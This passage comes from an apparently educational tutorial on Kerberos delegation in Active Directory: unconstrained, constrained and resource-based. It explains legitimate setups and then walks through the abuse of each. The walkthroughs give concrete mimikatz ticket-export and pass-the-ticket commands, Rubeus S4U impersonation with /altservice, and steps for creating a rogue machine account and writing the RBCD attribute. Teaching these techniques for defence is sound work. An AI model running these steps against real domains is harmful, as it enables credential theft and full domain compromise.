only!</pre><pre>  ⑧ SQL → Web App → User: user&#39;s data returned!<br>     → Per-user access control! Each user sees only THEIR data!</pre><pre>  CRITICAL: The web app has the user&#39;s TGT in memory!<br>  → Used for SQL, but can be used for ANY service!<br>  → File Server, Email, Domain Controller — ANYTHING!<br>  → No restrictions — &quot;unconstrained&quot;!</pre><h3>AD Configuration Required</h3><pre>To enable unconstrained delegation on a service/computer:</pre><pre>  Object:    The computer or service account running the application<br>  Attribute: userAccountControl<br>  Flag:     TRUSTED_FOR_DELEGATION (numeric value: 524288)<br>  <br>  Configured by: Domain Admin (only!)<br>  Configured on: the computer/service that RECEIVES the user&#39;s TGT<br>  <br>  How it&#39;s set:<br>    → Active Directory Users and Computers → computer properties<br>    → Delegation tab → &quot;Trust this computer for delegation to any service&quot;<br>    → Or PowerShell: Set-ADComputer APPSRV01 -TrustedForDelegation $true</pre><pre>  How to verify (PowerView):<br>    Get-DomainComputer -Unconstrained<br>    → Lists all computers with TRUSTED_FOR_DELEGATION flag<br>    → Domain Controllers ALWAYS have this flag (by design!)<br>    → Non-DC servers with this flag = HIGH VALUE TARGETS!</pre><pre>  What this flag tells the KDC:<br>    &quot;When any user requests a ticket for this service,<br>     include their FORWARDABLE TGT inside the service ticket.&quot;<br>    → The KDC does this AUTOMATICALLY for every user who connects!<br>    → The user doesn&#39;t choose to send their TGT — the KDC forces it!</pre><h3>Real-World Scenario: Corporate Intranet Portal</h3><p>A large financial institution runs an internal portal where employees access various dashboards. The portal server runs IIS with Windows Authentication and needs to access multiple backend systems (SQL databases, file shares, reporting services) as the logged-in user.</p><p>The IT team enables unconstrained delegation on the portal server because the portal needs to reach MANY different backend services — constraining to specific SPNs would be impractical.</p><pre>Configuration:<br>  → Portal server: PORTAL01.finance.local<br>  → userAccountControl: TRUSTED_FOR_DELEGATION ← enabled!<br>  → Any user who visits the portal → their TGT is cached on PORTAL01</pre><pre>Monday morning:<br>  9:00 AM — Teller Maria logs in → views branch dashboard<br>    → Maria&#39;s TGT cached on PORTAL01<br>  9:15 AM — Analyst James logs in → views risk reports<br>    → James&#39;s TGT cached on PORTAL01<br>  9:30 AM — Branch Manager Nora → views performance metrics<br>    → Nora&#39;s TGT cached on PORTAL01<br>  10:00 AM — IT Director Ahmad (Domain Admin) → checks system health<br>    → Ahmad&#39;s TGT cached on PORTAL01! ← DANGER!</pre><pre>  Every user who visits → their TGT is stored in PORTAL01&#39;s LSASS memory!<br>  The server holds the master keys for Maria, James, Nora, and Ahmad!</pre><h3>The Attack</h3><p>An attacker compromises PORTAL01 through a web application vulnerability, then extracts all cached TGTs.</p><pre>Step 1: Extract TGTs from memory<br>  mimikatz # sekurlsa::tickets /export<br>  → Exports every cached TGT to .kirbi files<br>  → Including Ahmad&#39;s TGT (Domain Admin!)</pre><pre>Step 2: Inject the Domain Admin&#39;s TGT<br>  mimikatz # kerberos::ptt ahmad_tgt.kirbi<br>  → Ahmad&#39;s TGT injected into attacker&#39;s session!<br>  → Attacker IS Ahmad in the eyes of Kerberos!</pre><pre>Step 3: Access the Domain Controller<br>  PsExec.exe \\DC01 cmd<br>  C:\&gt; whoami → finance\ahmad → Domain Admin! GAME OVER!</pre><pre>  One web app visit from a Domain Admin = complete domain compromise!<br>  No password cracking. No exploits. Just cached TGTs!</pre><h3>Why It’s Dangerous</h3><pre>→ The service gets the user&#39;s FULL TGT (master key!)<br>  → Can request TGS for ANY service as the user (no limits!)<br>  → ALL TGTs are cached in LSASS memory on the server<br>  → If server is compromised → ALL users&#39; TGTs are stolen!<br>  → Domain Admin visits? → their TGT → domain compromise!<br>  → The Printer Bug can FORCE any machine to authenticate → no human needed!</pre><h3>Part 3: Constrained Delegation (Windows 2003)</h3><h3>Definition</h3><p>“Constrained” = limited, restricted. The service can only delegate to SPECIFIC services listed in an AD attribute — nothing else.</p><h3>Theory: How It Works</h3><p>Microsoft realized unconstrained delegation was too dangerous — giving a service the user’s full TGT meant it could access anything. The solution: the service does NOT receive the user’s TGT. Instead, the KDC acts as a gatekeeper — the service asks the KDC for specific tickets, and the KDC only allows delegation to services listed in the msDS-AllowedToDelegateTo attribute.</p><pre>The core mechanism: S4U2Proxy (used in BOTH flows!)<br>  → &quot;Service for User to Proxy&quot;<br>  → The service presents a TGS (proof the user accessed it) to the KDC<br>  → Requests a TGS for the backend service as the user<br>  → KDC checks: is the target SPN in msDS-AllowedToDelegateTo?<br>  → If YES → TGS issued ✅ | If NO → denied ❌ (the constraint!)<br>  → This is the CORE of constrained delegation — understand this first!<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tRruXH_kequGJ4KS-GyURg.png" /></figure><pre>FLOW A — NORMAL: User authenticates via KERBEROS :</pre><pre>  This is how legitimate services use constrained delegation every day.<br>  The user authenticates via Kerberos → the service already has a ticket!</pre><pre>  ① User → KDC: &quot;Give me a TGS for the portal&quot;<br>     → User sends their TGT → requests TGS for HTTP/portal01</pre><pre>  ② KDC → User: returns a FORWARDABLE TGS for the portal<br>     → FORWARDABLE flag set (constrained delegation is configured!)</pre><pre>  ③ User → Portal: sends the forwardable TGS<br>     → Portal validates → user is authenticated ✅<br>     → Portal HAS a Kerberos TGS from the user!<br>     → This TGS proves: &quot;this user authenticated to me via Kerberos&quot;<br>     → No extra steps needed — go directly to S4U2Proxy!</pre><pre>  ④ Portal → KDC: S4U2Proxy request (DIRECTLY!)<br>     → &quot;Here&#39;s the user&#39;s forwardable TGS.<br>        Give me a TGS for MSSQLSvc/SQLMED01 as this user.&quot;<br>     → Presents the user&#39;s own TGS as evidence</pre><pre>  ⑤ KDC checks:<br>     → Is the user&#39;s TGS valid and forwardable? → YES ✅<br>     → Is MSSQLSvc/SQLMED01 in portal&#39;s AllowedToDelegateTo? → YES ✅<br>     → Creates TGS: &quot;user can access SQL on SQLMED01&quot;</pre><pre>  ⑥ Portal → SQL: presents TGS → SQL sees the user → per-user access! ✅<br>  ⑦ User&#39;s data returned!</pre><pre>  Simple: User authenticates (Kerberos) → S4U2Proxy → backend access!<br>  No S4U2Self! No TRUSTED_TO_AUTH_FOR_DELEGATION flag required!<br>  The user&#39;s own Kerberos TGS is all the evidence needed!</pre><pre>BUT WHAT IF THE USER USES NTLM INSTEAD OF KERBEROS?</pre><pre>  Many internal web apps use NTLM authentication:<br>    → User types an IP address instead of hostname → NTLM triggers<br>    → The app is configured for NTLM only<br>    → The user&#39;s browser negotiates NTLM instead of Kerberos<br>    <br>  With NTLM: the service gets username + challenge-response<br>  But NO Kerberos TGS from the user! ❌<br>  Without a Kerberos TGS → S4U2Proxy has no evidence to present!<br>  <br>  Solution: S4U2Self — &quot;create a Kerberos TGS from nothing!&quot;<br>    → The service tells the KDC: &quot;Create a TGS as if this user accessed me&quot;<br>    → The KDC trusts the service (TRUSTED_TO_AUTH_FOR_DELEGATION flag!)<br>    → Creates the TGS WITHOUT needing the user&#39;s password!<br>    → Now S4U2Proxy has evidence to work with!<br>    → ONLY needed in the NTLM scenario (or by attackers!)<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xzY6rakrzn5PINcJRoEYbQ.png" /></figure><pre>FLOW B — User authenticates via NTLM (S4U2Self + S4U2Proxy!):<br>  (Also the ATTACK flow — attacker doesn&#39;t have user&#39;s Kerberos TGS!)</pre><pre>  ① User → Service: authenticates via NTLM (not Kerberos!)<br>     → User sends: username + NTLM challenge-response<br>     → Service validates → user is logged in<br>     → But service has NO Kerberos TGS from the user!<br>     → This is why S4U2Self exists — to create one!</pre><pre>  ② Service → KDC: S4U2Self request<br>     → &quot;I&#39;m PatientPortalSvc (here&#39;s my TGT to prove it).<br>        Create a TGS as if Dr. Khalid authenticated to me.&quot;<br>     → Service does NOT have Dr. Khalid&#39;s password!<br>     → Service just TELLS the KDC: &quot;Khalid accessed me&quot;</pre><pre>  ③ KDC processes S4U2Self:<br>     → Checks: does PatientPortalSvc have TRUSTED_TO_AUTH_FOR_DELEGATION?<br>     → YES → KDC trusts this service to make this claim!<br>     → Creates a TGS: &quot;Dr. Khalid accessed PatientPortalSvc&quot;<br>     → This is a TGS (service ticket) — NOT a TGT!<br>     → Returns it to the service</pre><pre>  ④ Service → KDC: S4U2Proxy request<br>     → &quot;Here&#39;s the S4U2Self TGS (proof Khalid accessed me).<br>        Now give me a TGS for MSSQLSvc/SQLMED01 as Dr. Khalid.&quot;<br>     → Presents the S4U2Self TGS as evidence</pre><pre>  ⑤ KDC processes S4U2Proxy:<br>     → Validates the S4U2Self TGS → valid ✅<br>     → Checks: is MSSQLSvc/SQLMED01:1433 in PatientPortalSvc&#39;s<br>       msDS-AllowedToDelegateTo attribute?<br>     → Reads the attribute from PatientPortalSvc&#39;s AD object<br>     → Finds: {MSSQLSvc/SQLMED01:1433} → YES! ✅<br>     → Creates a TGS: &quot;Dr. Khalid can access SQL on SQLMED01&quot;<br>     → Returns it to the service</pre><pre>  ⑥ Service → SQL: presents the TGS → &quot;I&#39;m Dr. Khalid&quot;<br>     → SQL validates the TGS → sees Dr. Khalid&#39;s identity<br>     → Checks AD group membership → Dr. Khalid is in &quot;Cardiology&quot;<br>     → Row-Level Security → returns ONLY Cardiology patients!</pre><pre>  ⑦ SQL → Service → User: Khalid&#39;s patients returned!<br>     → Per-user access! Different doctors see different patients!<br>     → Database log: &quot;Dr. Khalid accessed Patient #12345 at 3:00 PM&quot; (HIPAA ✅)</pre><pre>  KEY: The user&#39;s TGT was NEVER forwarded!<br>  → Service only got specific TGS tickets through S4U<br>  → KDC acts as gatekeeper — only allows listed SPNs!<br>  → That&#39;s the &quot;constraint&quot;!</pre><h3>AD Configuration Required</h3><pre>To enable constrained delegation, TWO things must be configured:<br>── ATTRIBUTE 1: msDS-AllowedToDelegateTo ──<br>  <br>  Object:     The service account or computer that DELEGATES <br>  Attribute:  msDS-AllowedToDelegateTo<br>  Value:      List of SPNs the service is allowed to delegate to<br>  <br>  Example:<br>    msDS-AllowedToDelegateTo = {<br>      MSSQLSvc/SQLMED01.hospital.local:1433,<br>      MSSQLSvc/SQLMED01.hospital.local:SQLEXPRESS<br>    }<br>    <br>  This means:<br>    → PatientPortalSvc CAN delegate to SQL Server on SQLMED01 ✅<br>    → PatientPortalSvc CANNOT delegate to file shares, other DBs, DCs ❌<br>    → The KDC checks this list during S4U2Proxy!</pre><pre>── ATTRIBUTE 1: msDS-AllowedToDelegateTo ──<br>  <br>  Object:     The service account or computer that DELEGATES <br>  Attribute:  msDS-AllowedToDelegateTo<br>  Value:      List of SPNs the service is allowed to delegate to<br>  <br>  Example:<br>    msDS-AllowedToDelegateTo = {<br>      MSSQLSvc/SQLMED01.hospital.local:1433,<br>      MSSQLSvc/SQLMED01.hospital.local:SQLEXPRESS<br>    }<br>    <br>  This means:<br>    → PatientPortalSvc CAN delegate to SQL Server on SQLMED01 ✅<br>    → PatientPortalSvc CANNOT delegate to file shares, other DBs, DCs ❌<br>    → The KDC checks this list during S4U2Proxy!</pre><pre>  ── ATTRIBUTE 2: TRUSTED_TO_AUTH_FOR_DELEGATION flag ──<br>  <br>  Object:     Same service account or computer<br>  Attribute:  userAccountControl<br>  Flag:       TRUSTED_TO_AUTH_FOR_DELEGATION <br>              (numeric value: 16777216)<br>  <br>  This flag means:<br>    → The service can use S4U2Self even when the user used NTLM (not Kerberos)<br>    → The KDC trusts the service to claim &quot;this user accessed me&quot;<br>    → Without this flag → S4U2Self fails → the entire attack chain fails!</pre><pre>  <br>  ── WHO CONFIGURES THIS ──<br>  <br>  Configured by: Domain Admin only! <br>                 (requires SeEnableDelegationPrivilege)</pre><pre>  Configured on: the FRONTEND service account <br>                 (the one that delegates)<br>  </pre><pre>  How it&#39;s set:<br>    → AD Users and Computers → service account properties → Delegation tab<br>    → &quot;Trust this user for delegation to specified services only&quot;<br>    → Select target SPNs from a list<br>    → Check &quot;Use any authentication protocol&quot; (enables TRUSTED_TO_AUTH_FOR_DELEGATION)<br>    → Or PowerShell:<br>      Set-ADUser PatientPortalSvc -Add @{<br>        &#39;msDS-AllowedToDelegateTo&#39; = &#39;MSSQLSvc/SQLMED01.hospital.local:1433&#39;<br>      }<br>  <br>  How to verify (PowerView):<br>    Get-DomainUser -TrustedToAuth → lists users with constrained delegation<br>    Get-DomainComputer -TrustedToAuth → lists computers with constrained delegation<br>    → Check msDS-AllowedToDelegateTo for target SPNs<br>    → Check userAccountControl for TRUSTED_TO_AUTH_FOR_DELEGATION flag</pre><pre>  Full configuration summary:<br>    msDS-AllowedToDelegateTo = MSSQLSvc/SQLMED01.hospital.local:1433<br>    TRUSTED_TO_AUTH_FOR_DELEGATION = enabled<br>    → PatientPortalSvc can impersonate ANY user to SQL on SQLMED01!<br>    → Without needing the user&#39;s password!</pre><h3>Real-World Scenario: Hospital Patient Records System</h3><p>A hospital runs a patient records web portal. Doctors access patient records through the portal, which retrieves data from a backend SQL Server. Different doctors should only see patients in their department. The hospital’s compliance team (HIPAA) requires that the database logs show exactly WHICH doctor accessed WHICH patient record.</p><pre>Configuration:<br>  Service account:   PatientPortalSvc (runs the web application)<br>  msDS-AllowedTo     MSSQLSvc/SQLMED01.hospital.local:1433<br>   DelegateTo:       MSSQLSvc/SQLMED01.hospital.local:SQLEXPRESS<br>  TRUSTED_TO_AUTH    enabled<br>   _FOR_DELEGATION:<br>  <br>  This means:<br>    → PatientPortalSvc can delegate to SQL on SQLMED01 ONLY<br>    → Cannot delegate to HR database, pharmacy system, billing, etc.<br>    → The &quot;constraint&quot; limits which services can be accessed!</pre><pre>Dr. Khalid (Cardiology) logs into the portal:<br>  ① Portal authenticates Dr. Khalid (Windows Authentication / NTLM)<br>  ② Portal → KDC: S4U2Self → &quot;Dr. Khalid accessed me&quot; → TGS created<br>  ③ Portal → KDC: S4U2Proxy → &quot;Give me SQL ticket as Dr. Khalid&quot;<br>  ④ KDC: is MSSQLSvc/SQLMED01 in AllowedToDelegateTo? → YES ✅<br>  ⑤ Portal → SQL: connects as Dr. Khalid<br>  ⑥ SQL: Dr. Khalid is in &quot;Cardiology&quot; AD group → Row-Level Security<br>  ⑦ SQL returns ONLY Cardiology patients! ✅<br>  ⑧ Database log: &quot;Dr. Khalid accessed Patient #12345 at 3:00 PM&quot; (HIPAA ✅)</pre><pre>Dr. Fatima (Oncology) logs in → same flow → only Oncology patients!</pre><pre>Portal tries to access HR database:<br>  ① Portal → KDC: &quot;Give me a TGS for HRDatabase as Dr. Khalid&quot;<br>  ② KDC: is HRDatabase in AllowedToDelegateTo? → NO! ❌<br>  ③ KDC: &quot;You&#39;re not allowed to delegate there!&quot; → DENIED!<br>  → The CONSTRAINT prevents access to unauthorized services!</pre><h3>The Attack</h3><p>An attacker compromises the PatientPortalSvc service account — through Kerberoasting (cracking the service ticket hash), credential theft from a config file, or dumping from memory.</p><pre>Step 1: Get the service account&#39;s hash<br>  Rubeus.exe hash /password:P@tientP0rtal2024<br>  → rc4_hmac: 2892D26CDF84D7A70E2EB3B9F05C425E</pre><pre>Step 2: Request a TGT for the service account<br>  Rubeus.exe asktgt /user:PatientPortalSvc /domain:hospital.local /rc4:&lt;HASH&gt;<br>  → TGT for PatientPortalSvc (service name = krbtgt = this IS a TGT!)<br>  → Don&#39;t need to be ON the portal server — run from ANY machine with the hash!</pre><pre>Step 3: S4U attack — impersonate administrator to SQL<br>  Rubeus.exe s4u /ticket:&lt;TGT_BASE64&gt; /impersonateuser:administrator <br>    /msdsspn:MSSQLSvc/SQLMED01.hospital.local:1433 /ptt<br>  <br>  → S4U2Self: TGS saying &quot;administrator accessed PatientPortalSvc&quot; (no password!)<br>  → S4U2Proxy: TGS saying &quot;administrator can access SQL on SQLMED01&quot;<br>  → KDC checks AllowedToDelegateTo → MSSQLSvc/SQLMED01 listed → allowed! ✅<br>  → TGS injected into memory!</pre><pre>Step 4: Access SQL as administrator<br>  → Connected as administrator → sysadmin → xp_cmdshell → OS commands!<br>  → Full server compromise through constrained delegation abuse!</pre><h3>The /altservice Trick</h3><pre>The TGS returned by the KDC contains two parts:<br>  Server name: SQLMED01.hospital.local → ENCRYPTED (can&#39;t change!)<br>  Service name: MSSQLSvc → NOT encrypted (CAN change!)</pre><pre>If you change the service name after receiving the ticket:<br>  Original: MSSQLSvc/SQLMED01:1433 → access SQL Server<br>  Modified: CIFS/SQLMED01:1433 → access file shares (C$ drive!)<br>  Modified: HOST/SQLMED01:1433 → PsExec → code execution!</pre><pre>  Rubeus.exe s4u ... /altservice:CIFS /ptt<br>  → Takes the SQL ticket → changes MSSQLSvc to CIFS → file share access!<br>  <br>  Limitation: if the SPN includes a port (:1433), the modified ticket might <br>  not work for services that don&#39;t use that port.<br>  SPNs without ports (www/SQLMED01) → /altservice works perfectly!</pre><h3>Why It’s Dangerous</h3><pre>→ Attacker only needs the service account&#39;s hash (not the user&#39;s password!)<br>  → Can impersonate ANY user to the allowed services (S4U2Self — no password!)<br>  → TRUSTED_TO_AUTH_FOR_DELEGATION makes S4U2Self work without Kerberos auth<br>  → /altservice can sometimes expand access beyond the configured SPNs<br>  → Don&#39;t need to be on the service&#39;s machine — run from anywhere with the hash!</pre><h3>Part 4: Resource-Based Constrained Delegation — RBCD (Windows 2012)</h3><h3>Definition</h3><p>“Resource-Based” = the TARGET (resource) controls who can delegate to it. “Constrained” = still has limits. Combined: the target service decides which frontends are allowed to delegate users to it — with restrictions.</p><h3>Theory: How It Works</h3><p>RBCD uses the same S4U2Self + S4U2Proxy mechanism as regular constrained delegation. The ONLY difference is WHERE the KDC checks authorization:</p><pre>Constrained:<br>  KDC checks: &quot;Is the target SPN in the FRONTEND&#39;s msDS-AllowedToDelegateTo?&quot;<br>  → The SENDER controls where it can delegate<br>  → Attribute is on the FRONTEND service</pre><pre>RBCD:<br>  KDC checks: &quot;Is the source&#39;s SID in the TARGET&#39;s <br>   msDS-AllowedToActOnBehalfOfOtherIdentity?&quot;<br>  → The RECEIVER controls who can delegate to it<br>  → Attribute is on the TARGET/BACKEND service</pre><pre>The Kerberos flow for RBCD (step by step):</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wZLhOTvn8y_IH9oi4ewsYA.png" /><figcaption>FLOW A — NORMAL LEGITIMATE USE</figcaption></figure><pre>  FLOW A — NORMAL LEGITIMATE USE (understand this first!):<br>  <br>  Scenario: The inventory team (not Domain Admins!) configured RBCD so their<br>  web app can access their SQL Server on behalf of logged-in users.<br>  <br>  PREREQUISITE (one-time setup by the inventory team):<br>    → Inventory team owns INVSQL01 (the SQL Server)<br>    → They set INVSQL01&#39;s msDS-AllowedToActOnBehalfOfOtherIdentity = WebAppSvc&#39;s SID<br>    → &quot;INVSQL01 allows delegation FROM WebAppSvc&quot;<br>    → No Domain Admin was needed! The resource owner did it themselves!</pre><pre>  THE KERBEROS FLOW (happens every time a user visits the web app):</pre><pre>  ① User (Sarah) → KDC: &quot;Give me a TGS for the web app&quot;<br>     → Sarah sends her TGT to the KDC<br>     → Requests a TGS for HTTP/webapp01 (the web app&#39;s SPN)<br>     → Normal Kerberos — nothing special yet!</pre><pre>  ② KDC → Sarah: returns a FORWARDABLE TGS for the web app<br>     → The TGS has the FORWARDABLE flag set<br>     → This flag tells the web app: &quot;you can use this TGS for S4U2Proxy&quot;<br>     → KDC sets this because delegation is configured for the web app</pre><pre>  ③ Sarah → Web App: sends the forwardable TGS<br>     → Web App validates the TGS → Sarah is authenticated ✅<br>     → Web App now HAS a Kerberos TGS from Sarah!<br>     → This TGS proves: &quot;Sarah authenticated to the web app via Kerberos&quot;<br>     → Because we have a real Kerberos TGS → S4U2Self is NOT needed!<br>     → TRUSTED_TO_AUTH_FOR_DELEGATION flag is NOT required!</pre><pre>  ④ Web App (WebAppSvc) → KDC: S4U2Proxy request<br>     → &quot;Here&#39;s Sarah&#39;s forwardable TGS (proof she accessed me).<br>        Now give me a TGS for CIFS/INVSQL01 as Sarah.&quot;<br>     → Presents Sarah&#39;s own TGS as evidence<br>     → This goes DIRECTLY to S4U2Proxy — no S4U2Self step!</pre><pre>  ⑤ KDC processes the S4U2Proxy request:<br>     → Validates Sarah&#39;s TGS → valid and forwardable? → YES ✅<br>     → Now checks: &quot;Is WebAppSvc allowed to delegate to INVSQL01?&quot;<br>     → KEY RBCD CHECK: KDC reads INVSQL01&#39;s attribute (the TARGET!):<br>       msDS-AllowedToActOnBehalfOfOtherIdentity on INVSQL01<br>       → &quot;Is WebAppSvc&#39;s SID in this attribute?&quot; → YES ✅<br>       (the inventory team set this in the prerequisite!)<br>     → Creates TGS: &quot;Sarah can access CIFS on INVSQL01&quot;<br>     → Returns to WebAppSvc<br>     <br>     Compare to constrained delegation step ⑤:<br>       Constrained: KDC checks the FRONTEND&#39;s msDS-AllowedToDelegateTo<br>       RBCD: KDC checks the TARGET&#39;s msDS-AllowedToActOnBehalfOfOtherIdentity<br>       Same S4U2Proxy mechanism! Different place the KDC looks!</pre><pre>  ⑥ Web App → INVSQL01: presents the TGS → &quot;I&#39;m Sarah&quot;<br>     → INVSQL01 validates the TGS → sees Sarah&#39;s identity<br>     → Sarah is in &quot;Retail Staff&quot; AD group → sees available products<br>     → Manager Ahmed → same flow → &quot;Inventory Managers&quot; → sees cost prices too!</pre><pre>  ⑦ INVSQL01 → Web App → Sarah: inventory data returned!<br>     → Per-user access! ✅<br>     → Database log: &quot;Sarah accessed inventory at 3:00 PM&quot; ✅</pre><pre>  This is how RBCD works in NORMAL legitimate use.<br>  The resource owner configured it. Users authenticate via Kerberos.<br>  S4U2Proxy handles delegation. No S4U2Self needed.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bfcJwnQjhw24ZF8-crukBw.png" /><figcaption>FLOW B — ATTACKER PERSPECTIVE</figcaption></figure><pre><br>FLOW B — ATTACKER PERSPECTIVE (now that you understand the normal flow):<br>  <br>  The attacker ABUSES RBCD by configuring it themselves:<br>    → They have GenericWrite on a computer → can set the RBCD attribute!<br>    → They create a computer account they control → become the &quot;frontend&quot;!<br>    → They DON&#39;T have the target user&#39;s Kerberos ticket<br>    → So they MUST use S4U2Self to create one from nothing!</pre><pre>  (Attacker doesn&#39;t have the target user&#39;s Kerberos TGS → must use S4U2Self!)</pre><pre>  ── SETUP PHASE (before Kerberos — no KDC involved!) ──</pre><pre>  ① Attacker creates a computer account they control:<br>     → New-MachineAccount -MachineAccount evilPC -Password &#39;Attack123&#39;<br>     → evilPC$ created in AD with SPNs (HOST/evilPC, RestrictedKrbHost/evilPC)<br>     → Attacker chose the password → knows the NTLM hash!<br>     → Any domain user can create up to 10 computer accounts (default quota!)</pre><pre>  ② Attacker sets RBCD on the target:<br>     → Writes evilPC$&#39;s SID to INVSQL01&#39;s msDS-AllowedToActOnBehalfOfOtherIdentity<br>     → &quot;INVSQL01 now allows delegation FROM evilPC$&quot;<br>     → Attacker can do this because they have GenericWrite on INVSQL01!</pre><pre>  ── S4U ATTACK PHASE (Kerberos) ──</pre><pre>  ③ evilPC$ → KDC: asktgt request<br>     → &quot;I&#39;m evilPC$, here&#39;s my NTLM hash&quot; (attacker knows it — they chose it!)<br>     → KDC validates → issues TGT for evilPC$</pre><pre>  ④ KDC → evilPC$: returns TGT<br>     → evilPC$ now has a valid TGT (service name = krbtgt = this IS a TGT!)</pre><pre>  ⑤ evilPC$ → KDC: S4U2Self request<br>     → &quot;I&#39;m evilPC$ (here&#39;s my TGT).<br>        Create a TGS as if administrator accessed evilPC.&quot;<br>     → evilPC$ does NOT need administrator&#39;s password!</pre><pre>  ⑥ KDC → evilPC$: returns S4U2Self TGS<br>     → TGS saying &quot;administrator accessed evilPC&quot; ✅<br>     → This is the INPUT for S4U2Proxy</pre><pre>  ⑦ evilPC$ → KDC: S4U2Proxy request<br>     → &quot;Here&#39;s the S4U2Self TGS (proof admin accessed evilPC).<br>        Give me a TGS for CIFS/INVSQL01 as administrator.&quot;</pre><pre>  ⑧ KDC processes S4U2Proxy:<br>     → Validates the S4U2Self TGS → valid ✅<br>     → Checks INVSQL01&#39;s msDS-AllowedToActOnBehalfOfOtherIdentity:<br>       &quot;Is evilPC$&#39;s SID in INVSQL01&#39;s allowed list?&quot;<br>     → We set it in step ② → YES! ✅<br>     → Creates TGS: &quot;administrator can access CIFS on INVSQL01&quot;<br>     → Returns to evilPC$</pre><pre>  ⑨ evilPC$ injects the TGS:<br>     → Rubeus ptt → TGS for CIFS/INVSQL01 as admin injected into memory!</pre><pre>  ⑩ Attacker accesses the target:<br>     → dir \\INVSQL01\c$ → browsing C: drive as administrator! ✅<br>     → Full file system access → upload tools → code execution!</pre><pre>  KEY DIFFERENCE from constrained (step ⑧):<br>    Constrained: KDC checks the FRONTEND&#39;s msDS-AllowedToDelegateTo<br>      → &quot;Is CIFS/INVSQL01 in evilPC&#39;s allowed list?&quot; (source controls!)<br>    RBCD: KDC checks the TARGET&#39;s msDS-AllowedToActOnBehalfOfOtherIdentity<br>      → &quot;Is evilPC$&#39;s SID in INVSQL01&#39;s allowed list?&quot; (target controls!)<br>    <br>    Same S4U mechanism! Same ticket types!<br>    The ONLY difference: WHERE the KDC looks for authorization!</pre><pre>WHEN IS S4U2SELF NEEDED? (applies to both Constrained and RBCD!)</pre><pre>                    Flow A (Kerberos)         Flow B (NTLM / Attack)<br>  User auth:        Kerberos TGS              NTLM or none (attack!)<br>  S4U2Self:         NOT needed (skip!)        NEEDED (create TGS!)<br>  S4U2Proxy:        Uses user&#39;s own TGS       Uses S4U2Self TGS<br>  Flag required:    NO                        YES (TRUSTED_TO_AUTH...)<br>  Used by:          Legitimate services       Attackers!<br>  <br>  Attackers ALWAYS use Flow B because:<br>    → They have the SERVICE ACCOUNT&#39;s hash (not the user&#39;s Kerberos ticket!)<br>    → They CANNOT make the target user send a forwardable TGS!<br>    → So they use S4U2Self: &quot;administrator accessed me&quot; (no password!)<br>    → Then S4U2Proxy to get the backend ticket!</pre><p>The critical improvement: configuring RBCD does NOT require Domain Admin privileges! The resource owner (whoever manages the target server) can configure it. This removes the operational bottleneck where every delegation change required Domain Admin intervention.</p><h3>AD Configuration Required</h3><pre>To enable RBCD, ONE attribute must be configured:</pre><pre>  ── ATTRIBUTE: msDS-AllowedToActOnBehalfOfOtherIdentity ──<br>  <br>  Object:     The TARGET computer/service (the backend being accessed)<br>  Attribute:  msDS-AllowedToActOnBehalfOfOtherIdentity<br>  Value:      A security descriptor containing the SID(s) of allowed frontends<br>  Format:     Binary (raw security descriptor bytes)<br>  <br>  Example:<br>    On INVSQL01 (the inventory SQL Server):<br>    msDS-AllowedToActOnBehalfOfOtherIdentity = <br>      Security Descriptor containing WebAppSvc&#39;s SID<br>    <br>  This means:<br>    → WebAppSvc CAN delegate to INVSQL01 ✅<br>    → Other services CANNOT delegate to INVSQL01 ❌<br>    → The TARGET (INVSQL01) controls who can come in!</pre><pre>  ── WHO CONFIGURES THIS ──<br>  <br>  Configured by: the resource OWNER (whoever has write access to the computer object!)<br>  Configured on: the TARGET service/computer (the one being accessed)<br>  Does NOT require: Domain Admin privileges!<br>  Does NOT require: SeEnableDelegationPrivilege!<br>  <br>  This is the key difference from regular constrained delegation:<br>    Constrained: Domain Admin configures the FRONTEND → bottleneck!<br>    RBCD: Resource owner configures the TARGET → no bottleneck!</pre><pre>  How it&#39;s set (PowerShell):<br>    $sid = Get-DomainComputer -Identity WebAppSvc -Properties objectsid | <br>           Select -Expand objectsid<br>    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList <br>          &quot;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))&quot;<br>    $SDbytes = New-Object byte[] ($SD.BinaryLength)<br>    $SD.GetBinaryForm($SDbytes, 0)<br>    Get-DomainComputer -Identity INVSQL01 | Set-DomainObject -Set @{<br>      &#39;msds-allowedtoactonbehalfofotheridentity&#39;=$SDBytes<br>    }</pre><pre>  ── ADDITIONAL REQUIREMENT: The frontend must have an SPN ──<br>  <br>  S4U extensions require the calling identity to have SPNs registered.<br>  → User accounts typically don&#39;t have SPNs → can&#39;t be used as frontend!<br>  → Computer accounts AUTOMATICALLY get SPNs (HOST/, RestrictedKrbHost/)<br>  → Service accounts with SPNs (e.g., HTTP/webserver) also work!<br>  <br>  This is why RBCD attacks create a new computer account:<br>    → Any domain user can create up to 10 computer accounts (ms-DS-MachineAccountQuota!)<br>    → Computer accounts get SPNs automatically → S4U works!<br>    → Attacker controls the password → knows the hash → can authenticate!</pre><pre>  How to verify (PowerView):<br>    Get-DomainComputer INVSQL01 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity<br>    → Read the attribute → convert from binary → check which SIDs are allowed</pre><h3>Real-World Scenario: E-Commerce Inventory Platform</h3><p>A retail company runs an e-commerce platform. The inventory team manages their own SQL Server (INVSQL01) and wants the web application (running as WebAppSvc) to delegate to their SQL Server. With regular constrained delegation, they’d need to ask the Domain Admin and wait days. With RBCD, they configure it on their own server in minutes.</p><pre>Configuration (done by the inventory team, NOT Domain Admin!):<br>  Target server:   INVSQL01.retail.local (inventory SQL Server)<br>  msDS-AllowedTo   Security descriptor containing WebAppSvc&#39;s SID<br>   ActOnBehalf...: <br>  <br>  &quot;INVSQL01 allows delegation FROM WebAppSvc&quot;<br>  → The inventory team set this on THEIR server!<br>  → No Domain Admin involvement!</pre><pre>Customer Sarah browses the store:<br>  ① Sarah → Web App: views product availability<br>  ② Web App (WebAppSvc) → KDC: S4U2Self → &quot;Sarah accessed me&quot;<br>  ③ Web App → KDC: S4U2Proxy → &quot;Give me SQL ticket for INVSQL01 as Sarah&quot;<br>  ④ KDC checks INVSQL01: &quot;Is WebAppSvc in AllowedToActOnBehalf?&quot; → YES ✅<br>  ⑤ Web App → SQL: connects as Sarah → Sarah sees available products ✅<br>  <br> 